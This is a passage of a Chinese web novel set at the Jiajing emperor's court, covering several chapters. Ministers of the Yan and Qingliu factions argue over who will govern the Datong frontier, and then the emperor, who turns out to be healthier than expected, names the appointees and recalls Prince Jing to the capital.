裕王身份是皇子,皇帝不出场,没有人的身份比他尊贵,没道理严嵩有座他没有。这些细节方面,嘉靖不用说,吕芳也知道安排。 别看这次的议政吕芳不出面,但细节上的安排,都是吕芳传达的,陈洪只能听着。 “屯兵兴农的国策已经拖得太久了,”心思在陈洪脑袋里一闪而过,“现在已经是六月了,只剩下了半年,该拿出个章程来了。” “内阁有什么要说的,今天就把话说清楚,开始吧。”陈洪对内阁众人也是冷着脸。 你们不把咱家放在眼里,那咱家自然也不会再去用热脸贴冷屁股。 眼见司礼监‘话事人’已经变成了陈洪,徐阶等人眼底都是闪过一抹思索之色。 心中那一抹惊疑,反而变得有些确信起来。 “屯兵兴农的国策事关重大,”这时,张居正踏出一步,率先开口道: “因此不得不准备万全些。”说着,张居正语气一顿,又跟着道:“大同乃是边防重镇,九塞之冠,与蒙古接壤,摩擦不断。” “因此需有分量之人坐镇,才能更好的施行国策。”说着,张居正直接拱手向裕王,“早在洪武朝时,就有九大塞王戍边的先例。” “因此只有裕王爷是最为合适宣大总督,坐镇大同的人选。” 严党和清流都知晓“边境这一战”的重要性,双方早就做好了全力以赴的准备。 所以张居正上来就举荐了裕王做宣大总督,而且直接点明裕王身份之尊贵。 谁敢反对,那就是在质疑皇族! 今日的张居正,格外的锋芒毕露,徐阶低眉垂目,毫不加阻拦。 “太岳所言有理!”高拱第一个站出来力挺,“有裕王坐镇大同,也能震慑宵小!” “裕王贤德,”这时,赵贞吉也站了出来,对着上方的裕王躬身一拜,道: “之前国库亏空,东南倭寇又骚扰我大明沿海,戚继光,俞大猷部军费紧张,都是裕王爷从中调度,周转,才能筹集到军费。” “裕王对军政事务早已熟稔,身份足够、政绩足够,宣大总督之选,当仁不让!” 清流除了徐阶没有动,高拱、张居正、赵贞吉,一副要把严党的路堵死的态度。 看着“开团”的清流,严世蕃早已是满腔怒火了,什么意思?什么意思! 你张居正还能再无耻点吗?搬出太祖时期的戍边塞王?这是忘了现在谁当家了吗? 现在是我大明成祖一脉! 什么狗屁的九大塞王,削藩之后他们算个什么?全都被迁往了内地,现在你倒是提起太祖洪武朝了?身份尊贵?景王就差了? 还有什么军政熟稔,也好意思说? 高拱这狗日的,你是忘了东南的主心骨是谁了吗?是我爹的学生,浙直总督,胡宗宪! 东南能稳定,那是我严家的功劳! 严世蕃目光朝着老爹看去,见老爹不发一言的模样,顿时知道了态度。 清流集体开火,他严世蕃也不怕了他们。 “裕王殿下的功绩,无人能及。”严世蕃上前一步,对裕王拱了拱手。虽然心中不满,可裕王毕竟是皇子,该给的面子,还是要给的。 但面子给是给了,但给的并不多。 只见严世蕃话锋一转,当即就看向赵贞吉,冷笑道:“但王爷圣明,却久居京城,难免遭小人蒙蔽!” 小人说谁?赵贞吉脸色当场一黑,严世蕃这疯子,说的这个小人说的很明显就是他了! “小阁老,你……”赵贞吉还要说什么,却被严世蕃粗暴的打断,“够了!” “我已经不想再听你们这些冠冕堂皇的话了。”说着,严世蕃直接从袖子里又掏出一份信,直接递给了陈洪,道: “就在海瑞彻查定海县一案之时,同样在淳安县,也发生了一起骇人听闻的…”说着,严世蕃像是在蓄力一般,怒声道:“通倭事件!” “淳安县刁民齐大柱,向倭寇买粮,被杭州知府马宁远当场抓住,人赃俱获。” “结果,偏偏被那谭纶以证据不足为由,下令无罪释放,然而偏偏就在杭州知府要继续彻查的时候,那通倭的桑民竟然溺死了……” “哈哈啊!”说到这里,严世蕃怒极而笑,继而拿着手上的密函,大声道:“欺天了!这是有人要把我大明朝的天给一手遮了!” 此言一出,满堂哗然,无论是上方的裕王,还是清流一方,都是一惊。 神情间似有意料之外的神色。 改稻为桑的国策本是严嵩用来捞钱的,但被嘉靖七条辅策钉死,而后高拱当时直接拦下了这个可以为大明未来带来长久财政的活。 而高拱更是直接派了裕王府詹士谭纶前去坐镇。 但浙江布政使郑必昌跟按察使何茂才,杭州知府马宁远都是严党一系的人。 严党虽然退出了东南的争斗,没有了利益收入,但也不会轻易让给清流。 这点他们都知道,所以东南官场上的一些小争斗还是不断的,像是通倭这事他们自然也知道。 事后谭纶也来信了,不过是严党的一次胡搅蛮缠,根本站不住脚,而且他们还借着放了齐大柱的机会,赢得了大量的百姓支持。 至于那个通倭百姓齐大柱的死,他们自然知道是严党一系那些小人干的,只当是恼羞成怒,自乱阵脚,而且还让百姓仇恨严党的人。 可以说,齐大柱的死,就跟周云逸一样,很得其所,很有政治价值。 也因此,当时消息传回来时,他们根本没有放在心上,不就是死个桑农吗?不值一提。 但谁也没想到,这事还有后续! 甚至被严世蕃这疯子用来,把事闹大,捅到宫里来。 疯子,彻头彻尾的疯子,这是在说谭纶通倭?谭纶是谁?前裕王府詹士,裕王心腹! 这是想说,裕王也通倭吗? 一时间,众人都下意识的看向御座下的裕王。 “我通倭了?”此时,裕王也是有些发懵,不过紧跟着就是愤怒。 这个疯子,要不听听自己在说什么! “哼!”此时,偏殿内,坐在精舍中的嘉靖,听到这话,眼皮跳了跳。 “这个严世蕃,真是什么话都敢说,他这意思是说,朕的儿子也通倭了?” “……” 第八十四章 严嵩VS徐阶,正面一战,巅峰对轰,来了! 坐在道台下的吕芳跟陆炳对视一眼。 “主子,这他怕是不敢,但肯定是别有用心就是了……”吕芳缓声道。 他自是知道严世蕃说这番话的意思是什么,这是在告诉主子,裕王一手遮天,僭越了。 以主子以往的性子,或是别的帝王,裕王肯定是要被猜忌有不臣之心的。 “这个严世蕃……”嘉靖当然明白,现在严党跟清流似乎都开始拼命了,严世蕃搞这么一出,显然是醉翁之意不在酒了,“终究是太嫩了,跟他老子没法比!” 吕芳跟陆炳对视一眼,微微低头不再说话。 大殿内的那出戏,他们都能看明白,这是严党跟清流要死磕,拼命的前奏。 自然哪怕是得罪裕王,说的话有些冒失莽撞,严党此刻也是无所顾忌了。 他们笃定了,边境之战结束,大明内部基本会趋于稳定,那时就是整顿吏治的时候。 届时,胜利者,自然是要清除失败者一系的。 严党要趁这个机会,景王给弄回来,然后清理裕王一脉,而裕王自然也是这么想的。双方都到了拼命的时候,还在乎说什么话? 可他们永远都不会知道,皇上现如今所处的,是一种何等的高度! “好戏要正式开始了,”这时,嘉靖嘴角勾起一抹笑容,“严世蕃跟高拱等人的战斗,在严嵩跟徐阶看来,根本不是一个层级。” “接下来这二人,就要在朕这玉熙宫内,正式的宣战了,都学着点。” “是。”吕芳跟陆炳神色认真下来。 几乎像是在配合嘉靖一般,这时大殿内响起了一个沉稳中,透露着一股威严。 “小阁老的意思是,裕王殿下,通倭了吗?”徐阶知道这是严世蕃这疯子的计。 通倭是假,发疯是假,重点是要告诉皇上,裕王开始一手遮天,有不臣之心了! 皇上是个什么性子,他们都太清楚了。 敏感、自私、多疑、贪婪,这個时候,皇上很有可能是病痛在身,让他知道,自己的儿子,原来早早的就背叛了他,觊觎皇位? 那皇上会怎么想? 严世蕃拿出这一招,确实是出乎了他们的预料,没想到严党的险恶用心竟然如此润物无声。 一个桑民的死,他们看到了东南从上到下,对严党做派的不满,他们还得了民心。 改稻为桑这条国策在他们手里会更加的得心应手,以为严党是黔驴技穷,搬石头砸自己的脚了,没想到竟然是一个在这里等着他们的暗坑。 徐阶站出来,对着裕王微微欠身,又淡淡回身瞥了眼身后的众人,示意稍安。 这一刻,向来居于严嵩之下,表现的都是一副忠厚,受气包模样的内阁次辅,第一次像是年初,严嵩在玉熙宫内一样,展露了自己的手段。 他用行动告诉了严嵩,你可以在内阁一手遮天,我徐阶也可以。 察觉到徐阶这一刻气势的不同,严世蕃眼皮一跳,这老东西,怎么瞅着有点像爹呢? 不过他到底不是个怕事的,很快便调整了心态。 “老徐,你不要胡扯了!” 严世蕃就是要说裕王通倭,就是要说他有不臣之心,怎么了! 但面子上,他是不会承认的。 他这是给皇家面子,是给皇上面子,而不是给这帮不知所谓的清流面子。 “谭纶就是那小人,裕王殿下是被他蒙蔽了,你明白我想说的通倭的人是谁!” “你现在胡搅蛮缠,是想包庇罪臣吗,莫非通倭之事你也有份!”又是一顶帽子扣下。 “世蕃,”然而这时,严嵩的威严温吞的呵斥声响起,“莫要胡说!” “朝廷里没有人通倭!” 严世蕃这番话说的,就有些胡乱泼脏水了,但这些在徐阶面前,终究是小道了。 东南的事,皇帝心里最清楚,你这一招着太粗糙了。 你要想说裕王僭越,用别的就行了,用这招就太明显了,皇帝的儿子通倭?可笑。 谭纶是裕王的人,他何至于通倭?有什么好处,还是在东南严家的地盘上?被你严世蕃的人给逮住?抓住了把柄?杀人灭口? 东南对于严家来说,就是一块战败之地。 这些说辞根本站不住脚,再胡乱咬下去,只会让偏殿里的那位不耐和质疑他们父子的能力。 “桑农一事,疑点颇多,”严嵩站起身,慢吞吞的对着裕王行了一礼,然后道:“想来,杭州知府,淳安知县等人,定能给个公道。” “眼下还是议论国策为重。”说着,严嵩回了回身,瞥了眼徐阶后,轻飘飘的揭过了严世蕃引出的这一场闹剧,把话题重新带回。 “殿下金枝玉叶,伤着碰着都是对国之根本的损害,内阁实在不敢劳烦殿下。” 一番话说出口,张居正等人的眉头都是一拧。 这话看似是在恭维裕王,但却是处处带刺,金枝玉叶?这岂不是说殿下难堪重任?还有那句“国之根本”就更是明着害人了。 皇上还没有册立储君呢,你就说国之根本,这让皇上听了会怎么想? 不过此时,随着严嵩的开口,内阁众人都知道,接下来是首辅与次辅的战场了。 根本不是他们能插手的了,就连裕王也是坐直了身体,看向徐阶和严嵩。 众人都知道,现如今的朝廷格局跟当年一样,内阁里只有两派,只有两人。不同的是,当年是严嵩跟夏言,现在是严嵩跟徐阶。 徐阶当了次辅之后,可以说处处对严嵩忍让,根本不会反驳,首辅说什么就是什么,始终一副不争的模样,大有一种他强任他强的意味。 但是现在,帝国到了最后权力更迭的关键时候,次辅徐阶,不得不全力以赴,出手了。 “老臣到有一人推举,”严嵩继续缓声说着,“此人姓唐,名顺之,字应德……” 严嵩开口将唐顺之的事迹说了一遍。 裕王自然是知道此人的,可惜的是,此人跟那胡宗宪一样,都是严党一系。 虽然内心正直,也堪称是大明能臣,并不是严党那些贪官污吏,但如今是权力更迭的关键,立场问题,自己不能有半分心软。 等自己继承了大位后,此人或许会重用,但是现在,绝对不行,尤其是宣大总督的职位。 “严阁老此言,下官不敢苟同。”严嵩开口后,徐阶上前一步,对着裕王拱了拱手。 “少湖啊,你有什么想法,就说出来吧,呵呵……”严嵩对于徐阶的反驳似乎并不生气,始终一副笑呵呵的慈祥模样。 “都是为了朝廷,为了裕王殿下好嘛……” 为了裕王殿下好?这是在说严党和清流已经臣服于裕王了吗?阴损的老东西! “大同是个好地方。”徐阶对这些明里暗里的锋芒并不回应,平缓开口。 “嗯,大同是个好地方!”严嵩深以为然的点头,继续慢吞吞道: “因此,坐镇之人尤为重要!” 此时,随着徐阶和严嵩你一言,我一语,平静,毫无波澜的开口,大殿之上的气氛却是在这一刻,莫名的变得凝重起来。 一时间,所有人都在心底,下意识的跟着喊了一声,“来了”! 大明朝内阁巅峰的两位,终于要在今日,迎来一次巅峰对轰了! “……” 第八十五章 (求追读)裕王:父皇为何面色红润?说好的大限将至呢? “唐顺之乃是我大明不可多得的全才。” “然,边疆之地,土地兼并严重,军田荒废,已致军户另谋生路……”说着,徐阶语气微微一顿,又道:“屯兵兴农乃是国策,且只有半年时间,到明年就要全面实施。” “唐顺之固然有能力,但恐迟则生变,边疆之地积重难返,很难在短时间内见效。因此,宣大总督当另有足够份量之人任职。” “如此,才能快刀斩乱麻,且不至于让边疆动荡。” 听到这里,严嵩也沉默了下来。 当然,他不是被说服了,而是知道这些不过是徐阶的前奏,还有后话。 “洪武二十五年,”果然,徐阶跟着又言辞沉稳道:“代王就藩大同,坐镇此重镇。太祖以皇子镇守边疆,巩固大明。” “然今时不同往日,藩王不宜再领兵坐镇边疆,但宣大总督之职,却再恰当不过。” “我朝当属裕王与景王最为突出,”说到这里,徐阶瞥了眼严嵩,言辞恳切道:“严阁老此前曾言,裕王金枝玉叶,臣深以为然。” 听到这里,上方的裕王眉头微微一皱,听徐阶这意思,这是不支持自己任宣大总督? 其他人也没明白徐阶是什么意思?裕王不合适,莫非你要支持景王任职宣大总督? 果然,没让众人心中多猜,跟着就见徐阶抬头看向裕王,道:“因此,臣以为,景王任职宣大总督,最为合适!” “唰唰唰!”徐阶话音一落,在场几乎所有人都朝着他看了过来。 什么情况? 徐阁老是不是老糊涂了? 此时别说清流一派中的高拱,张居正,赵贞吉等人满脸懵了,就算是严世蕃也满脸呆滞。 徐阶真的老糊涂了?莫非徐阶是严党? 偏殿。 吕芳跟陆炳也是一脸懵,不明白这是发生了什么,好端端的徐阶怎么支持景王了。 “呵……”听着大殿里的动静,精舍中的嘉靖轻笑一声,没有说话,手里的罄锤被他轻轻摩擦着,此刻他也很享受徐阶和严嵩的首战。 徐阶出招了,接下来轮到严嵩了。 “少湖将景王与代王相比……”果然,在徐阶话音落下的同时,严嵩抬了抬耷拉的眼皮,慢吞吞的开口先说了一句,道: “老臣对代王知之甚少,但景王素来贤德孝顺,至纯至善。少湖既能将代王与景王相提并论,想来代王也是个贤德至善之人。” 严嵩将“贤德至善”说的很重! “臣记得,正统朝给代王上谥号曰:简。”严嵩说着,始终一副慢吞吞的样子。 但说出的话,却让徐阶眉头微微一拧,忽的心头一跳,暗道一声要遭。 同时心头暗骂严嵩无耻! 果然,徐阶料想的没错,严嵩继续开口。 “一德不懈、平易不訾、治典不杀、正直无邪、易从有功、平易无疵、至德临下、仕不躁进、能行直道、执要能固曰:简!” 听到严嵩直接拿代王的谥号来说事,在场所有人的眼皮都不由狠狠一跳。 这是骂人呢吧? 嗯,这肯定是在骂人! 代王是个什么狗东西,谁不知道?说他是禽兽,那都算是高抬了的一种“贵物”。 严嵩说他跟景王一样贤德?不对,是徐阶拿代王跟景王相提并论,这是在侮辱景王吧? 景王是谁?皇上最喜欢的小儿子。 你徐阶拿代王骂景王?你这含沙射影的是几个意思?你是在侮辱皇子吗?还是在恶心皇帝? “哈哈啊,高,不愧是爹!”严世蕃反应也不慢,心里狠狠挥拳。 徐阶在宫里,当着皇帝的面,几乎是明着辱骂皇子,你这是在欺负皇上啊! “铛!”就在这时,偏殿里铜罄敲响,众人心头都是一怔,裕王身体不由一颤。 父皇本就不喜欢他,这个时候,他的人当朝辱骂隐射四弟,父皇会怎么想? 听到偏殿传来的这一声响,严嵩立刻闭嘴不言,耷拉的眉眼中,精光一闪而逝。 这二回合结束,他胜了! 徐阶的目的,他看的太清楚了。 明着支持景王,实则就是想要将景王给永远封死在大同。 徐阶此时也低下了脑袋,心中暗叹严嵩太过无耻,他不过是提个话头,为藩王坐镇大同做個铺垫,从而把景王从德安移到大同“战场”。 反正他永远别想回到京师。 没想到严嵩会另辟奇招,直接用代王比景王,让皇帝心生不满。要是继续再提这件事,岂不是说他就是在针对景王? 严嵩提的“裕王金枝玉叶”这句话你认,那景王就不是了? “哼,”收到偏殿里的铜罄声,陈洪冷哼一声,上前一步道:“讨论就讨论,该说的说,不该说的都悠着点,皇家威严不可侵犯。” 现在朝廷上下都知道大同会是清流跟严党争斗的核心战场,所以关于大同也都有了解。 对代王那个禽兽,陈洪自然也清楚的很。 听着陈洪这一番训斥一般的话,内阁众人都是眉头一皱,但也都只能低头不语。 “景王殿下同样尊贵无比,且早有封地,不宜再劳苦奔波,徐阁老的建议并不合适。” 张居正跟赵贞吉对视一眼后,站了出来开始给徐阶收尾了。 此时他也明白了徐阶的目的。 心中也不禁感慨,徐阶办事太过老沉谨慎,此前他们也不知道徐阶的打算。 没想到他竟是存了要将景王留在大同的心思,这一招当真是釜底抽薪了。 只是这一招被严嵩识破,并通过污蔑景王的方式,让皇上心生不满,拉了偏架。 而这一回合的败仗,结果就是景王跟裕王都将去不了大同,都做不了宣大总督了。 “既然景王与裕王殿下都不合适,那还是让唐顺之坐镇,最为合适。”严世蕃率先出来。 虽然他对唐顺之很不感冒,但现在他必须要跟老爹站在统一战线上,一致对外。 “之前老徐担心唐顺之震慑不了宵小,倒是可以让景王任大同巡抚。” “如此,既有能者统领军务,又有皇子坐镇,震慑宵小,此乃两全其美之策!” 严世蕃的算盘打的“啪啪”响,算盘珠子几乎要崩到清流的脸上了。 “景王金枝玉叶,大同苦远,并不合适,”高拱直接站了出来否定。 一旁的赵贞吉也跟着踏出一步,道:“裕王殿下身为兄长,当为国分忧,岂能让身为幼弟的景王殿下奔波劳累?” “那不是让人说我大明朝,兄不友弟不恭?小阁老你用心未免太毒了!” 今天的赵贞吉,攻击力也格外的猛! 幼弟?严世蕃脸一黑,拳头捏的梆梆响。裕王就比景王大一个月不到,幼你玛德头! 清流的目的也很清楚,裕王去不了大同,那景王也别想去,拖死你! “二位殿下都不能轻动,老臣倒是有一人选,”徐阶再次开口,道:“年前皇上已经定下,屯兵兴农由兵部和户部督办。” “倒是可以让户部主事海瑞为大同巡抚。” “此人品性诸位都有了解,刚正不阿,一心为国,有他为大同巡抚,定能震慑宵小。” “至于宣大总督人选,”徐阶语气沉稳道:“唐顺之此人过于恃才傲物,气性太大。” “从嘉靖十二年入翰林开始,数次被贬黜,为官期间,又多与同僚不和。” “若是此人为宣大总督,反而会引发北境官场动荡,届时拖延国策施行。” “臣倒是有一人选较为合适,原兵部侍郎,现任宁夏巡抚的王崇古,最为合适!” “此人身经百战,且都是在北境对蒙古作战,而唐顺之虽为全才,但都是在东南对倭作战,术业有专攻,较之王崇古终究差了些。” “且王崇古为人在性格上也较为谦和。” 王崇古?听到这个名字,陈洪眉头一皱,他想起自己的西厂第一次出动拿六部一些官员开刀的第一人,就是兵部侍郎,王崇古。 虽然罪证显示贪污军饷,但都是王崇古手下之人干的,但当时严党和清流闹得正僵,他自然就被贬去了宁夏任巡抚职。 虽然属于平调,但一个是京师兵部侍郎,可以参与全国军事决策,一个是地方大吏,综合考量下来,还是不如兵部侍郎的。 王崇古算是清流一派的人了,没想到徐阶会推举他做宣大总督。 不过也确实,如果能找出一个跟唐顺之争这宣大总督的人选,除了他也没几个了。 其他人都身居其他要职,只有他本身就在九边重镇之一,升任宣大总督更合适。 “此人贪污军饷,识人不明,如何能当此重任?”严世蕃当即跳了出来,“别忘了,当初抓他的罪证里,就有兼并土地一条!” “老徐,你推举这样一个人过去坐镇,主持屯兵兴农的国策,就是肉包子打狗……” “小阁老未免太武断了,”高拱一步踏出,怒声道:“那些罪证都是王崇古手下的人贪污,跟他有什么关系?” “人心隔肚皮,谁敢说自己就能看得透彻?”赵贞吉也跟着开口。 “若是识人不明,那当日被抓的人中,还有严阁老和小阁老举荐的不少人,照小阁老的意思,严阁老也识人不明?” “那严阁老举荐的唐顺之,岂不是也坐实了有问题?” 清流这次开战的火力格外的凶猛,一人开口,其他人立刻就跟着帮腔。 一时间,饶是严世蕃也有些招架不住。 好汉还难敌四手了,严世蕃一个人单挑三个,头一次发现,往日里绵羊一样的清流发起火来,竟是如此的让人难以招架。 “你,你们……”严世蕃气的胸膛起伏,双眸喷火的看着张居正几人。 一番扯皮后,第三回合,双方算是打平,国策施行人选确定上,再一次僵持住了。 此时,玉熙宫大殿内,从严世蕃跟张居正等人争斗,到严嵩跟徐阶亲自下场。 战况一时间陷入了胶着之中。 第一回合,清流率先举荐裕王,被严世蕃胡搅蛮缠给徐阶抓住话头,算是严党败了一阵。 结果是裕王没有被选为宣大总督。 第二回合,严嵩和徐阶下场,严嵩抓住徐阶话头漏洞,攀咬他污蔑皇族,搬回一阵。 结果是徐阶想要将景王弄去大同的目的,没有达成。 宣大总督和大同巡抚人选依旧未定。 第三回合,严嵩举荐唐顺之,徐阶推举王崇古,双方出言被下方的人各自打平。 一共三个回合,清流和严党,双方一胜一负,一平。 偏殿,精舍中。 嘉靖知道,该自己出面决断了。 裕王、景王、唐顺之、王崇古、海瑞这五个人,就是内阁推举出来的五个人选。 而自己,需要在这五人中选出一个最终的人选来。 “铛!” 手中罄锤一摆,随着铜罄传出一声嗡鸣,整个玉熙宫顿时安静下来。 裕王、严嵩等人纷纷起身,垂手而立。 一阵脚步声响起,伴随着的还有嘉靖幽幽的的念诗声响起。 “鸣蜩嘒高风,逮夜且复静。” “草虫何为者,落日鸣复逞。” “阴阳且战争,微物何所竞。” “化工执其机,开阖惟所命。” 随着声音落下,嘉靖走在前面,在他身后,吕芳跟陆炳二人紧紧跟随。 众人听得声音,纷纷下跪高呼万岁。 “来了!父皇终于要出来了……”裕王也跪在了地上,脑袋深深低了下去,“不过,听这声音,父皇似乎很健康?” 听到这中气十足的声音,裕王眉头微微皱起。 他迫切的想要看看,父皇的身体怎么样了,但又不敢抬头,父皇向来不喜欢他,他不敢在这个时候触霉头,给他厌恶自己的机会。 其实下面人的争斗胜利与否都不是关键的。 关键的是,父皇的身体,若是父皇短时间内驾崩,即便下令让景王继位又能如何? 皇权更迭,正规途径抵达大位,这只是其中一种,还有其他规则外的方法。 他可没忘记,现在在京城的人是自己! 为了皇位,他窝囊,隐忍了大半辈子了,若是真的到了最后,父皇传位给老四,那么他也不会再忍了,他肯定是要拼一把的。 这些规则之外的东西,他隐隐已经跟徐阶提过了,徐阶没有说什么,但他肯定明白。 大明朝,绝对不允许再出现一个嘉靖! 因为老四他跟父皇太像了,一样的贪婪,一样的喜欢捞钱,这是清流不能忍的。 “都起来吧。”嘉靖坐在御座上,缓声说道。 “谢陛下!”众人道谢的同时,也抬起了头。 不过紧跟着,众人都是不由的一愣,陛下为何面色如此健康?不仅健康,似乎身上还有一种说不出来的的飘逸,洒脱之感。 裕王也是瞪大了眼,父皇面色为何如此红润?说好的大限将至呢? “……” 第八十六章 (求追读)裕王留下,来!看看朕,是不是大限将至! “不可能,绝对不可能!”裕王心头震撼,“父皇怎么会看起来这么健康?” 当然,此时心中惊疑的可不光是裕王一个人。 内阁众人也都是心中惊疑不断。 “不对,”裕王想着,突然又像是想到了什么,心中暗道:“父皇太健康了,面色红润,声音有力,可怪就怪在这些上!” “父皇如今已是五十多的高龄了。” “别说他常年吃丹药,身体中恐怕早有毒素,就算是健康的老年人,也绝对不可能有如此健康的表现,哪里会有人越来越健康年轻?” “事出反常必有妖……” “父皇一定是吃了药!” “一些秘术药方,确实能让人短时间内,表现的跟正常人一样,甚至要更健康。” “但这都是通过损耗自身为代价的…龙虎山来的那国师,或许就是一个幌子!” “那些道士有太多的丹药手段,保不准就有什么手段……” “对,肯定是这样!”想到这里,裕王心头的惊疑,慌乱,又再次平复了下去。 父皇他,肯定是在强撑着。 一生要强的父皇,您忍的太辛苦了。 都要油尽灯枯了,还在透支身体,强撑着不让外人看出异样吗? 当然,此时跟裕王同样想法的人不在少数。 毕竟这次见陛下,跟前几次,甚至更早之前相比,有着太多的不同与反常了。 太健康了! 眼前的陛下,虽然依旧是原来的模样,没有任何变化,但给他们的感觉,却像是一个中气十足的中年人,而非五旬高龄。 一个正常人,怎么可能逆生长呢? 答案只有一个解释,那就是皇上他肯定是用了某些不为人知的手段在强撑! “这是都以为朕大限将至了吗?”将下方众人神情间的变化收入眼底,嘉靖淡淡开口。 “朕刚才念的,是宋朝诗人张耒(lei)的《鸣蜩(tiao,蝉)》。” 众人微微躬身低头,听着。 “蝉会在高高的树梢上,高声鸣叫。夜幕降临,又恢复平静。落日后,草虫又开始叫,彻夜嘶鸣。鸣蝉在叫,草虫也在叫。” 嘉靖抬了抬手指向众人,面露笑容,道:“你们这些人也一样,是高高在上的鸣蜩,在这庙堂上,高声鸣叫着,呵……”说着,嘉靖露出一声轻笑,看向严世蕃跟高拱、张居正等人。 “朕在偏殿都听到了。” 被嘉靖调侃打趣,严世蕃几人,都是面露惭色的深深低下了脑袋。 打趣了一声几人后,嘉靖又继续开口。 “那边疆之地,大大小小的官员,也有人在鸣叫,他们就是那草虫。” “你们看着天,人家也看着天。你们争的是白天,人家争的是夜晚。” “这自然分昼夜也分阴阳,昼夜在争,阴阳在争,都是在争,无非是仰天而活。谁让这天,掌控万物生长,生灵都要听它的呢?” 听到这里,众人的脑袋杵的越发的低了。 他们都听出来了,皇上这是对他们的表现,感到不满,觉得他们是要把事甩给皇上去办。 如果鸣蜩跟草虫争的一样的东西,那二者有区别吗? 没区别,鸣蜩可以在草丛里叫,草虫也可以到树上去叫,凭什么你鸣蜩就叫白天,我草虫就要在晚上叫?凭什么你是鸣蜩我是草虫? 如果规律乱套了,天养着他们干什么? 嗯,本质上,边疆官员也可以来庙堂高谈阔论,他们也能被下放到边疆去蝇营狗苟。 一时间,众人额头都不由的露出一抹冷汗,就连坐着的严嵩也是挺了挺腰板。 至于裕王,始终一副端端正正,鹌鹑模样,唯唯诺诺的,大气不敢喘一声。 “刚才说的,朕都听到了,”该敲打的都敲打了,嘉靖也不再废话,开口道:“既然你们拿不定主意,那就让朕来替你们办。” “就苦一苦朕,福让臣民来享。” “臣等无能,皇上恕罪。”众人听到这里,再也绷不住了,纷纷跪倒在地。 “宣大总督由唐顺之担任,”嘉靖语气沉稳,道:“原大同总兵去宁夏任巡抚。” “大同总兵由王崇古担任,大同巡抚由户部主事海瑞担任,谁还有异议?” “臣等恭聆圣旨,此策甚善。”众人齐齐道。 “果然,陛下还是向着我们严家的!” 听到皇上拍板决定,让唐顺之担任宣大总督后,严世蕃心头狂喜,跪在地上的同时,还不忘给高拱一個挑衅的眼神。 气的高拱瞪着眼,恨不得咬死这个混蛋。 严世蕃开心了,但清流此刻却是眼神黯然,屯兵兴农本就是严嵩提出来的,皇上跟严嵩之间的默契,他们都懂。 可是,皇上您也太偏袒了吧?您要屯兵兴农,恢复卫所制,我们也能配合啊! “屯兵兴农的国策事关重大,朕玄修有感,会时常闭关,就由裕王帮朕协理内阁!” 见众人没有异议后,嘉靖再次开口。 “唰!”清流的脑袋齐齐抬起,而后看向御座上的万寿帝君,而后又赶紧低头。 惊喜,什么叫惊喜,这就叫惊喜! “吾皇圣明!”下一刻,回过神的清流,齐齐的杵着脑袋,高声大呼。 原本他们听到唐顺之担任宣大总督,心中暗叹北境这一仗会很难打,没想到还有惊喜。 真是柳暗花明又一村啊! 陛下玄修有感,要时常闭关? 呵呵,说是这么说,肯定是大限将至,身体越来越撑不住了,要强的陛下,又不愿意被人看出来,所以只能用这借口了。 眼下,只有裕王在京城,让裕王帮助皇上,协理内阁政务…嘶,这信号太大了! 裕王有了这一项权力,等同于变相的监国了啊,这是储君才有的待遇吧? 这一刻,清流心中狂喜,几欲在心底呐喊。就连徐阶,此刻面容也是微微松了松。 至于裕王,脑袋杵在地上,身体却是不断的颤抖着,瞳孔微微地震…… 终于,轮到我了吗!我没猜错,父皇真的大限将…不对,已至了,他真的不行了! 这一刻,父皇他,终于想到我了。父皇,放心吧,这大明,儿子绝对背得动! 而刚才还没高兴多久的严世蕃笑容凝固了。 他听到了什么?让裕王协理内阁督办北境的屯兵兴农的国策?这什么意思? 皇上这是要用裕王制衡唐顺之吗?不不,这不是重点,重点是,裕王这算是变相监国了? 严嵩耷拉的眼皮,也颤了颤。 短短一小会的功夫,清流和严党双方的心情就像是阴晴的天一样,转了又转,你方晴完我方晴,你方阴了我方再阴。 然而,这还不是终点! “俗话说,上阵父子兵,打虎亲兄弟,”清流的好心情没撑多久,嘉靖的声音就再次响起,“着景王朱载圳,即日返京。” “让他协助兄长,帮朕协理内阁。” “轰!”这一刻,刚才心情由阴转晴的清流心里,顿时晴天霹雳,霎时间阴云密布。 而严世蕃跟严嵩父子二人心里的阴霾,却是瞬间放晴,而且更让他们没想到的是。 陛下竟然就这么让景王回京了?! 这,这简直不敢想,他们努力这么久,不就是让景王回京吗?这就完成了?而且,景王也能协理内阁,也等同于监国? 这一下,清流和严党可以说同时有皇子支持了。 “天纵圣明,无过帝君!”几乎是在回过神的瞬间,严世蕃就扯着嗓子大吼。 一张脸上,肌肉都在因为激动而抖动着,一时间,面红耳赤。 这时,张居正抬头下意识的开口想要说话,然而当对上嘉靖那双眼神后,顿时闭嘴。 只是心中,却是愤慨难当。 当初为了把景王赶出京,可是牺牲了不少人啊,其中就有翰林院检讨,郭希颜。 而郭希颜的死,引发剧烈动荡,这才让皇帝不得不将景王赶出京城。 如今,皇上竟然要以屯兵兴农的国策为由,调景王回京! 这一刻,清流心里都浮上了一层阴霾。 他们想要劝谏,可他们知道,皇上对景王的宠爱有多深,而且刚才皇上已经敲打了他们,对他们表达了不满,并且还让裕王变相监国。 若是这个时候再触霉头,怕是裕王好不容易得来的,帮助皇帝协理内阁,变相监国的权利也会瞬间被收回,那就太得不偿失了。 至少,如此一来,裕王和景王同一起点。 然而此时,刚才还激动的裕王,却是面色瞬间惨白,脑袋杵在地上,目瞪口呆。 宽大袖子里的拳头死死攥着,心中满满的全是不忿。 “父皇啊,您,非要如此羞辱儿臣吗!”裕王感觉自己的心都在滴血。 “既然都没有异议,那该说的都说了,时间不早了,外面雨下的大,都回去吧,朕就不留你们吃饭了。”嘉靖直接摆手送客。 “是,臣等告退。” 众人起身,裕王收敛情绪,摇摇晃晃的站起身,躬身一礼,声音嘶哑。 “儿,儿臣,告退,父皇保重仙体,儿臣回去后,定日夜祷告,护佑我父仙道昌隆……” 说话间,裕王的眸眼中,含着泪水,神情间,满满的全是孝子对父亲的关切神色。 “你留下。”嘉靖神色平静的起身,转身朝着偏殿而去。 刚走到门口的内阁众人,此刻身体都微微一顿,而后又默默的踏出门,身影没入雨雾中。 “王爷,快跟上吧,陪主子说说话。”吕芳上前对裕王轻声说道,示意别发呆了。 “嗯。”对吕芳点了点头,裕王深吸一口气,抬脚朝着偏殿而去。 玉熙宫偏殿,他第一次来。 一踏入偏殿,突然闻到一股非常好闻的气味,这股气味,让他浑身都感到舒坦异常。不过想到父皇在吃药,他心里倒也没有多想。 看着殿中央的精舍,还有此刻那站在火炉前,煮着什么的嘉靖,站在原地躬身一礼,道:“不知父皇让儿臣留下,所为何事?” 